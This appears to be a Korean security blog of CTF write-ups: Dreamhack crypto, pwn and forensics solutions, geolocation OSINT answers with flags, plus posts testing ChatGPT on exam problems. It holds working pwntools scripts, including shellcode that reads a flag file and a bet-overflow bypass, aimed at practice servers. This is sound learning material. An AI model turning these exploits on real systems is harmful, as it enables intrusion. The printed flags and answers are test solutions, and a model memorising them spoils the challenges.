HHJ

Dreamhack - 디지털 포렌식의 개념과 특성

HackHiJack — Thu, 3 Oct 2024 23:26:43 +0900

오늘부터 드림핵의 디지털 포렌식 로드맵을 통해 배운 내용을 적을 예정이다.

기본적으로 [포렌식]이란 우리가 드라마에서도 볼 수 있듯이, 과학적으로 범죄를 수사하는 것이다. [디지털포렌식]은 이 포렌식에서 컴퓨터 과학적으로 더 초점을 두고 있다고 볼 수 있다.

- 디지털 포렌식의 개념

디지털 포렌식의 정확한 개념은 "디지털 증거를 수집·보존·분석·현출하는데 적용되는 과학기술 및 절차"이다

개념이 뭐가 중요하나 싶지만, 포렌식 자체가 법정에서의 효력을 가지는 만큼 중요한 역할을 하고 있으므로, 이 각각의 세부적 의미를 정확히 이해하는 것이 중요하다.

- 디지털 포렌식의 종류

디지털 포렌식의 종류는 크게 아래와 같이 5개로 분류된다.

디스크 포렌식 : SSD, HDD 분석

메모리 포렌식 : RAM(휘발성 데이터) 분석

모바일 포렌식 : 모바일 기기 분석

네트워크 포렌식 : 네트워크 구조 혹은 패킷 분석

침해사고 대응 : 해킹, 랜셈웨어 등의 침해사고를 대응

- 디지털 포렌식의 특성

디지털 포렌식의 특성에는 크게 3가지가 있는데 비가시성, 휘발성, 변조 용이성이다.

비가시성 : 디지털 데이터는 시각적으로 볼 수 없다는 것

휘발성 : 시간이 지남에 따라 데이터가 사라지는 것

변조 용이성 : 디지털 데이터는 변조가 쉽다는 것

비가시성의 예로는 사진 파일이 있다. 디지털 데이터는 우리가 눈으로 볼 수 있는 사진 파일이 아니라 16진수로 된 데이터로 확인된다. 그래서 이를 분석하기 위해 도구의 신뢰성과, 분석의 전문성이 필요하다.

휘발성은 RAM과 같이 컴퓨터를 끄면 없어지는 데이터가 휘발성이 높다고 하며, 현장에서 제일 먼저 수집 해야하는 것이 휘발성 데이터가 제일 높은 것이다.

변조 용이성은 데이터가 쉽게 변조될 수 있기 때문에, 디지털 데이터 발견 당시의 해쉬 함수를 이용하여 무결점을 증명할 수 있다.

Dreamhack - d (writeup)

HackHiJack — Wed, 22 Feb 2023 18:24:32 +0900

이번에는 드림의 "d"문제를 풀어 볼 것이다.

일단 아래 문제코드를 살펴보자.

from Crypto.Util.number import *
from flag import flag

p = bytes_to_long(flag)
assert isPrime(p)
q = getPrime(256)
d = pow(65537, -1, (p - 1) * (q - 1))
print(d)
# 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073

위 파이썬 코드의 내용을 정리하면 아래와 같다.

d = 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073
e = 65537

q는 256비트

처음에는 어떤 방법으로 할 지 전혀 모르겠는 것 같아서 rsa 위키백과를 보다가 우연히 아래와 같은 부분을 확인했다.

이걸 보고 ed-1이 소인수분해가 가능하면 p나 q를 구할 수 있을 것이라고 알게 되었다.

그래서 아래의 두 사이트를 참고하여 ed-1를 소인수분해 했다.

http://factordb.com/

https://www.alpertron.com.ar/ECM.HTM

소인수 분해 결과

2 * 2 * 2 * 2 * 3 * 5 * 5 * 37 * 1117 * 4029461 * 1403014978139 * 284368748316481195117 * 18741210882440665187461519398960291465361283084482741278982029639876282810203

그러면 이를 조합하여 ed-1의 모든 인수를 구한 뒤, int를 bytes로 바꿨을때 "DH{"를 포함하는 숫자가 p, int의 길이가 256비트인 숫자가 q가 되는 수를 구하는 python 으로 아래와 같이 구현 가능하다.

from Crypto.Util.number import *

factors = [(2, 4), (3, 1), (5, 2), (37, 1), (1117, 1), (4029461, 1), (1403014978139, 1), (284368748316481195117, 1), (18741210882440665187461519398960291465361283084482741278982029639876282810203, 1)]

all_factors = [1]

for (prime, power) in factors:  # <- 인수 구하기
    new_factors = []
    for factor in all_factors:
        for i in range(1, power+1):
            new_factors.append(factor * prime**i)
    all_factors += new_factors

for i in all_factors:
    num = i+1
    if isPrime(num):
        num_bytes = long_to_bytes(num)
        if b'DH{' in num_bytes:    #  <- p 즉 flag 판별
            print("FLAG : "+num_bytes.decode('utf-8'))
            print("p = " + str(num))
        elif num.bit_length() == 256:  #  <- q 판별
            print("q = " + str(num))

이 프로그램을 실행하면 아래와 같이 flag(p), q를 구할 수 있다.

Dreamhack - Robot Only(writeup)

HackHiJack — Wed, 22 Feb 2023 13:03:40 +0900

이번에는 드림핵의 robot only문제를 한번 풀이해보겠다.

아래의 문제 코드이다.

#!/usr/bin/env python3
import random
import signal
import sys

MENU_GAMBLE     = 1
MENU_VERIFY     = 2
MENU_FLAG       = 3
MENU_LEAVE      = 4

money = 500
verified = False

def show_menu():
    print('=======================================')
    print('1. go to gamble')
    print('2. verify you\'re a robot')
    print('3. buy flag')
    print('4. leave')

def get_randn():
    return random.randint(0, 0xfffffffe)

def gamble():
    global money
    global verified

    if verified is False:
        print('you\'re are not verified as a robot ;[')
        return

    print('greetings, robot :]')

    bet = int(input('how much money do you want to bet (your money: ${0})? '.format(money)))
    if money < bet:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    randn = get_randn()
    answer = randn % 5 + 1

    print('[1] [2] [3] [4] [5]')
    user_answer = int(input('pick one of the box > '))

    print('answer is [{0}]!'.format(answer))

    if user_answer == answer:
        print('you earned ${0}.'.format(bet))
        money += bet
    else:
        print('you lost ${0}.'.format(bet))
        money -= bet

    if money <= 0:
        print('you busted ;]')
        sys.exit()

class MyTimeoutError(Exception):
    def __init__(self):
        pass

def timeout_handler(signum, frame):
    raise MyTimeoutError()

def verify():
    global verified

    if verified is True:
        print('you have already been verified as a robot :]')
        return

    randn224 = (get_randn() | get_randn() << 32 | get_randn() << 64 |
                get_randn() << 96 | get_randn() << 128 | get_randn() << 160)

    challenge = randn224 ^ 0xdeaddeadbeefbeefcafecafe13371337DEFACED0DEFACED0

    signal.alarm(3)
    signal.signal(signal.SIGALRM, timeout_handler)

    try:
        print('please type this same: "{0}"'.format(challenge))
        user_challenge = input('> ')

        if user_challenge == str(challenge):
            verified = True
            print('you\'re are now verified as a robot :]')
        else:
            print('you\'re not a robot ;[')
        signal.alarm(0)

    except MyTimeoutError:
        print('\nyou failed to verify! robots aren\'t that slow ;[')

def flag():
    global money

    print('price of the flag is $10,000,000,000.')

    if money < 10000000000:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    with open('./flag', 'rb') as f:
        print(b'flag is ' + f.read())
    sys.exit()

def main():
    while True:
        show_menu()
        menu = int(input('> '))

        if menu == MENU_GAMBLE:
            gamble()

        elif menu == MENU_VERIFY:
            verify()

        elif menu == MENU_FLAG:
            flag()

        elif menu == MENU_LEAVE:
            sys.exit()

        else:
            print('wrong menu :[')

if __name__ == '__main__':
    main()

이 코드는 robot으로 verify 한 후 gamble을 통해서 돈을 얻어서 flag를 얻는 것이다.

verify는 주어진 문자열을 빠르게 입력하면 되고, gamble에서는 음수 입력이 가능해서 -100000000000000 를 해서 잃으면 1000000000000000 만큼 얻을 수 있다.

하지만 verify는 시간 제한이 있기 때문에 파이썬 코드를 아래와 같이 짜서 verify 후 interactive()를 이용해서 사용자 입력 모드로 전환하여 나머지 작업을 할 수 있게 한다.

from pwn import *
import time
r = remote("host3.dreamhack.games",24360)

r.recv()
sleep(0.1)

r.sendline(b"2")

recv_str = r.recv()[24:-4]

r.sendline(recv_str)

r.interactive()

이제 이를 이용하여 아래와 같이 flag를 획득할 수 있다.

Dreamhack - ICM2022(writeup)

HackHiJack — Wed, 22 Feb 2023 12:18:50 +0900

이번에는 드림핵의 암호 문제인 ICM2022를 풀어볼 것이다.

문제코드는 아래와 같다.

import random
from fractions import Fraction


def enc(p, n, key1, key2):
    q = (Fraction(p, n+1)*key1**(n+1)) - (Fraction(p, n+1)*key2**(n+1)) 
    print("[OK] plain is encrypted : ", q)
    return q


def dec(q):
    # cencored


def key_make():
    n, key1, key2 = 0, 1, 0
    while key2 < key1:
        n = random.randrange(1, 10) #3 
        key1 = random.randrange(1, 100) #
        key2 = random.randrange(1, 100) #95
    return n, key1, key2


p = ""
emp = input("plain text: ")
for character in emp:
    p += str(ord(character))
n, key1, key2 = key_make()

print(f"[WAR]p = {p} n = {n} key1 = {key1} key2 = {key2}")

q = enc(int(p), n, key1, key2)
dec(q)

일단 코드를 해석을 잠시 하자면 p라는 문자열을 받아서 아스키코드로 바꾸고 이 값을 가지고 enc() 함수에서 아래와 같이 연산한다.

여기서 q, n, key2가 주어져서 알기 때문에 아래와 같이 나타낼 수 있다.

그럼 이를 p에 관해서 정리해주면 아래와 같다.

여기서 k1은 k2보다 작고, 1에서 100 중 난수가 나오니깐, k1의 4제곱 - 95의 4제곱이 q * 4에 나누어 떨어질 때까지 k1의 값을 brute forcing 하면 된다.

이를 파이썬으로 구현하면 아래와 같다.

from fractions import Fraction

re = list()
for i in range(1,95):
	k2 = 95 ** 4
	k1 = i ** 4
	result = k1 - k2
	re.append(result)

for i in re:
    q = -200640142664324295933714 * 4
    p = Fraction(q/i)
    if q % i == 0 :
	    print(p)

이를 실행하면 아래와 같이 p(flag)값이 나오는 걸 확인할 수 있다.

Dreamhack - darimchal_001(writeup)

HackHiJack — Wed, 22 Feb 2023 10:46:31 +0900

오늘은 드림핵의 워게임, darimchal_001 문제를 풀어볼 것이다.

일단 이 문제의 c코드의 main 을 확인해 보겠다.

int main (int argc, char *argv[]) {
  if (argc != 2) {
    __print_sw_title(argv[0]);
    return ERRO;
  }

  if ( __is_valid_pwd(argv[1]) ) {
    __create_tag(argv[0]);
    printf("\n +-+ 무, 무슨... 말도 안돼!! 어떻게 복호화 키를...?? +-+ \n");
  } else {
    printf("\n 너의 파일들은 이제 요단강을 건너다가 저승사자와 하이파이브를 하게되었다! 으하하하하!\n"); // ㅋㅋㅋㅋㅋㅋ
  }

  return OK;
}

위 main 함수에서는 하나의 인자를 받아서 그 인자를 __is_valid_pwd()에 보내서 TRUE 인지 FALSE 인지 확인한다.

그러면 __is_valid_pwd()를 확인 해보자.

int __is_valid_pwd (char *pwd) {
  if (! strncmp(JOKER, __obfuscation(pwd, KEY), sizeof(JOKER)) ) {
    return TRUE;
  }

  return FALSE;
}

위를 보면 JOKER와 __obfuscation(인자, KEY)를 비교해서 같으면 TRUE를 return 하는 것을 확인할 수 있다.

그러면 __obfuscation을 확인해보자.

char *__obfuscation (char *pwd, char *key) {
  int i;
  for (i = 0; i < strlen(pwd); i++) {
    if(key[i] == '\0') break;
    pwd[i] = pwd[i] ^ key[i];
  }

  return pwd;
}

받은 인자와 KEY(023661dd4) 값을 XOR 한 값을 return 한다.

정리를 하자면 JOKER는 KEY 값과 받은 인자를 XOR한 값이다.

JOKER = flag XOR KEY

그런데 XOR은 역연산이 가능하기 때문에 아래와 같이 나타낼 수 있다.

flag = JOKER XOR KEY
flag = 023661dd4 XOR \x40\x53\x06\x03\x43\x52\x54\x3b

이를 토대로 XOR 연산을 아래와 같이 하면 flag를 얻을 수 있다.

ChatGPT - 수능문제 풀어보기(수학, 영어)

HackHiJack — Thu, 16 Feb 2023 12:59:05 +0900

오늘은 chatgpt에게 수능 문제를 풀어보게 할 것이다.

https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&m=0403&s=suneung

한국교육과정평가원 대학수학능력시험 홈페이지

www.kice.re.kr

수능 문제는 위 사이트를 참고하였다.

chatgpt에게 간단하게 영어 수학 문제를 두 문제씩 내보겠다.(국어도 내려고 했지만 계속 오류가 나서 포기..)

먼저 영어 문제이다.

18번 같은 쉬운 문제보다 살짝은 어려운 문제를 내고 싶어서 글의 제목을 맞추는 24번 문제를 냈다.

홀수형 24번문제

짝수형 지문을 주니 알아들었다고 한다.

그리고 문제 선택지를 주었더니 1번을 골랐다.

음... 가볍게 맞추는 것을 확인할 수 있다.

그 다음 조금 어렵다고 한 34번 문제를 내주었다.

아래와 같이 문제를 내주었는데 2초도 안 지나서 5번이 답이라고 자신있게 말하는 모습이다.

음.... 역시 외국에서 태어나서 영어에는 매우 능숙한 것 같다.

이제 수학 문제로 넘어가보자.

chatgpt에게 사진이나 특수기호를 입력하지 못해서 확통에서 문제를 냈다.

말로 표현하기 쉽고 난이도가 있을 것 같은 25, 27번 문제를 냈다.

먼저 25번 문제를 냈다.

뭔가 이 정도는 보기 없이 풀 수도 있을 거라고 생각했는데 아래와 진짜 오지게 못 푸는 모습을 보여준다

첫 시도 : 이상한 결과가 나옴

두번째 시도: 분수, 유리수라고 해줬는데 보기에도 없는 답을 한다

세번째 시도: 오답

4번째 시도: 또 틀림

5번째: 결국 답을 알려줌, 그런데 갑자기 아는 척을 함

6번째: 풀이가 틀렸는데도 답이 10/13이라고 억지로 우김(어떻게 23/91이 10/13이 되지?)

이 이후로 3번은 더 풀이는 틀리고 답만 맞추었다. (181/182가 10/13라고 하기도 함)

그래서 영어로 물었다.(이유 없음)

그랬더니 내가 생각한 정확한 풀이 과정과 답을 맞췄다.

마지막으로 수학 27번을 물었다.

풀이과정이 길어질것 같아서 답만 알려달라고 했더니 바로 2번으로 답을 맞추는 모습을 보여줬다.

결과적으로, 인공지능이라서 지문 이해도 빠르고 문제 속도도 당연히 빠른 것 같았지만, 한 번씩 멍청한 짓을 하기도 하는 것 같다.

ChatGPT - 정보올림피아드 문제 풀어보기(2021년 초등부 1차대회)

HackHiJack — Tue, 14 Feb 2023 12:18:17 +0900

오늘은 요즘 굉장히 핫한 chatgpt를 이용하여 정보올림피아드 문제를 풀어볼 것이다.

오늘 chatgpt한테 풀어보게 할 문제는 '지우개' 문제이다.

위 문제는 배열을 칸을 나눠서 홀수 칸의 숫자를 지우고, 남은 배열 원소를 왼쪽으로 미는 과정을 반복해서 마지막 남은 수를 구하는 문제이다.

그럼 본격적으로 chatgpt한테 정보올림피아드 코딩문제를 냈을 때 풀 수 있는지 확인 해보겠다.

먼저 문제를 내겠다고 하니 자신있는 모습을 보여준다.

그 다음 문제설명을 다음과 같이 한번에 끝내니 이해를 했다고 한다.

문제 설명이 굉장히 어려웠는데 chatgpt가 이해했다고 해서 확인할 겸 n이 9일 경우 무슨 수가 남는지 원리를 보여주면서 설명하라고 했다.

그런데 진짜 완벽히 이해한 모습을 보여주고 있다.

이제 문제의 조건을 만족하여 파이썬 코드를 만들어 달라고 했다.

chatgpt는 자신감있게 아래와 같은 코드를 만들어 주었다.(주석 설명까지 ㄷㄷ)

n = int(input())

if 1 <= n <= 100:
    arr = list(range(1, n + 1))  # 1부터 n까지의 수로 배열 생성

    while len(arr) > 1:
        arr = [arr[i] for i in range(len(arr)) if i % 2 == 1]  # 홀수 인덱스 제거
        arr = [arr[i] for i in range(len(arr)) if arr[i] != '']  # 빈칸 제거
    print(arr[0])
else:
    print("N은 1 이상 100 이하의 정수여야 합니다.")

이제 이 코드가 맞는지 oikorea에서 채점을 했다.

그랬더니 진짜 100점을 맞은 것을 확인할 수 있다.

추가로 아래와 같이 C언어 변환도 가능한 것을 확인할 수 있다.

[Dreamhack] - Windows Search(WRITEUP)

HackHiJack — Mon, 30 Jan 2023 11:30:24 +0900

이번에는 드림핵의 forensic 문제인 Windows Search 문제를 풀어보도록 하겠다.

이 문제는 windows.edb 즉 windows search 파일을 툴을 이용하여 쉽게 해결할 수 있는 문제이다.

주어진 파일은 아래와 같다.

이 문제를 해결하기 위한 툴은 바로 Winsearchdbanalyzer이다.

https://github.com/moaistory/WinSearchDBAnalyzer

GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html

http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html - GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html

github.com

이 툴을 사용하면 시스템 내의 파일 정보와 구조를 확인할 수 있기 때문에 flag를 찾아낼 수 있을 것이다.

먼저 Winsearchdbanalyzer을 실행 한 다음 아래 사진과 같이 파일을 지정해준다.

그 다음 시간을 설정해야하는데 아래와 같이 우리나라시간인 UTC+9로 선택해준다.

그 후 이제 Directory tree 부분에 file 있는 것을 확인할 수 있다.

이를 따라 내려가면 User의 desktop에 flag.txt와 함께 flag를 확인할 수 있다.

[Dreamhack] - shell_basic(WRITEUP)

HackHiJack — Tue, 24 Jan 2023 11:44:23 +0900

오늘은 dreamhack pwn 로드맵의 첫 문제인 shell_basic을 풀어 볼 것이다.

dreamhack 로드맵 강의에서는 어셈블리 파일을 직접 만들어서 쉘코드에 대해서 배우는데 이 방법은 너무 귀찮기 때문에 pwntool의 shellcraft를 이용해 볼 것이다. shellcraft는 잘 사용하지 않기 때문에 아래의 글을 참고하여 풀었다.

https://m.blog.naver.com/songblue61/221308705090

그럼 본격적으로 풀이를 시작해 보겠다.

먼저 문제 설명을 확인해 보면 플래그의 파일 이름을 확인할 수 있다.

그리고 문제에서 주어진 서버로 접속을 해보면 아래와 같이 shellcode를 입력하는 란이 주어진다.

이제 exploit 시나리오를 대충 짜 볼 수 있다.

1. "shellcode: "까지 문자열을 받는다.

2. shellcraft를 이용하여 shellcode를 생성한다.

3. sendline으로 shellcode를 전송한뒤 interactive를 한다.

위를 기반으로 아래와 같이 python코드를 작성하였다.

from pwn import *

r = remote("host3.dreamhack.games",12101)

context.update(arch='amd64', os='linux')

flag_str = "/home/shell_basic/flag_name_is_loooooong"
ex = ''
ex += shellcraft.pushstr(flag_str)
ex += shellcraft.open(flag_str,0,None)
ex += shellcraft.read('rax','rsp',100)
ex += shellcraft.write(1,'rsp',100)
ex += shellcraft.exit()

r.recvuntil("e: ")

r.sendline(asm(ex))

r.interactive()

shellcraft의 open을 이용하여 파일을 열고 파일의 값을 read로 읽은 뒤 write로 출력한다.(파일 크기는 대충 어림잡아서 100byte로 함)

이렇게 작성 한 다음 실행하면 플래그를 획득할 수 있다.

Digital Overdose 2022 Autumn CTF WRITEUP(HHJ) - Maya went on a trip!

HackHiJack — Mon, 21 Nov 2022 22:32:26 +0900

오늘은 Digital Overdose 2022 Autumn CTF 의 maya went on a trip! 카테고리의 문제 풀이를 해볼 것이다.

Category Name : Maya went on a trip!

1. Seaside

문제의 의도는 사진 파일이 있는 곳에서 제일 가까운 기차 역을 찾는 것이다.

먼저 문제의 사진파일은 아래와 같다.

이 사진 왼쪽을 보면 건물에 "DARAKHYU"라고 적혀있다.

darakhyu를 구글 지도에 찾아보면 전라남도 여수시에 있는 것을 확인할 수 있다.

이 위치에서 기차역이라는 카테고리로 검색을 하면 다음과 같이 여수EXPO 역이 제일 가까운 역으로 나타난다.

따라서 flag는 DOCTF{yeosu_expo}가 된다.

2. SympoZzzium

2번째 문제의 의도는 여수 주변에서 이벤트를 하는데 심심해서 wigle을 사용했다는 것이다. wigle에서 남긴 기록이 challenge-2.csv에 담겨있어서 이를 기반으로 wigle로 위치를 찾아서 flag를 찾으면 된다.

먼저 문제파일을 살펴보자.

위 항목들 중 U+zone의 ssid와 mac주소를 이용하여 wigle.net에서 위치를 찾아보았는데 전남대학교로 나오는 걸 확인할 수 있다.

따라서 flag는 DOCTF{chonnam_national_university}가 된다.

3. Needle in a train stack

3번 문제의 의도는 wigle 기록을 기반으로 기차의 종류와 번호를 찾으는 것이다.(힌트는 이 기차가 평일에만 운행하는 것이다)

문제파일에는 KTX wifi를 사용한 것으로 보아서 기차의 종류는 KTX인 것을 확인할 수 있고, wigle을 기록한 위도와 경도가 있다.

위도와 경도에 여러 값들이 있는데 구글지도에 검색을 해보면, 모두 전주역에 있다는 것을 알 수 있다.

그리고 wigle 기록 중 ktx secure wifi에는 "공주" 주변지역으로 위치가 나오는 걸 확인할 수 있다.

그래서 전주역에서 공주역까지 가는 기차를 평일과 주말을 기준으로 찾아봤다.

평일에는 KTX가 504, 510, 516, 520가 주말에는 502, 510, 516이 다니는 것을 확인할 수 있다.

따라서 flag는 DOCTF{KTX_520}이 된다.

4. The Sky is the limit!

4번 문제의 의도는 문제 파일을 이용하여 학교를 찾는 것이다.

문제 파일을 보면 어김없이 wigle 기록이 나온다.

여기서 eduroam를 ssid로 가지는 항목을 wigle에 검색을 했더니 고려대학교로 나온다.

flag는 DOCTF{korea_university}이다.

5. Friends shouldn't doxx e/o

이 문제는 문제파일에서 데이터를 쓰게 해준 친구의 이름을 찾는 것이다.

문제파일을 둘러보다가 아래와 같이 Noah의 Galaxy s22 ultra의 기록이 보인다.

그래서 flag에 DOCTF{noah}라고 했는데 정답이였다.

6. A slice of time

이번 문제는 서울로 이동했다.

서울 위치중 문제 사진이 어디서 찍혔는지 물어본다.

문제파일 사진은 아래와 같다.

이 사진을 구글 이미지 검색하면 국립중앙박물관으로 나타난다.

따라서 flag는 DOCTF{national_museum_of_korea}로 된다.

7. Foreign lands

7번 문제는 서울 종로구 남서쪽에 있는 어떠한 곳에서 찍은 사진을 보고 그 곳을 찾아내는 것이다.

먼저 문제 사진을 확인해보자.

이 사진의 위치를 찾을 수 있는 단서는 아래와 같다.

1. 자이(xi) 아파트가 보이는 위치임
2. 아파트 주변에는 교회 하나가 있음

먼저 이 아파트의 대략적인 위치를 찾아보자.

서울 종로구 자이 아파트라고 구글에 치면 경희궁자이아파트 인 것을 알 수 있다.

이 아파트는 4단지까지 있기 때문에 아까 단서 중 하나인 교회를 기반으로 무슨 단지인지 찾아야한다.

자이아파트가 모여있는 곳을 기준으로 구글 지도에 교회를 찾아보자.

문제 사진에는 교회의 십자가가 은색이고 위로 튀어나와 있었다.

위의 여러 교회들 중에 십자가가 은색이고 위로 튀어나와 있는 것은 서대문교회 인 것을 알아낼 수 있다.

그러면 서대문교회와 자이아파트가 동시에 보이는 위치의 스트릿뷰를 확인하면 아래와 같다.

위 사진이 문제 사진의 위치가 비슷하다는 것을 알 수 있다.

이제 문제에서 말한 특별한 빌딩을 이 주변에서 찾아보면 주한스위스대사관 인 것을 확인할 수 있다.

주한 스위스 대사관을 구글에 검색해보면, "Embassy of Switzerland"인 것을 알 수 있다.

따라서 flag는 DOCTF{embassy_of_switzerland}이다.

8. Taking altitude

마지막 문제이다.

이 문제는 문제사진을 보고 무슨 랜드마크인지 맞추는 문제이다.

문제사진을 살펴보자.

이 사진을 구글 이미지 검색으로 어디인지 찾아보자.

이미지 검색을 통해서 이 표지판은 남산 서울 타워의 것임을 알 수 있다.

마지막 flag는 DOCTF{n_seoul_tower}이다.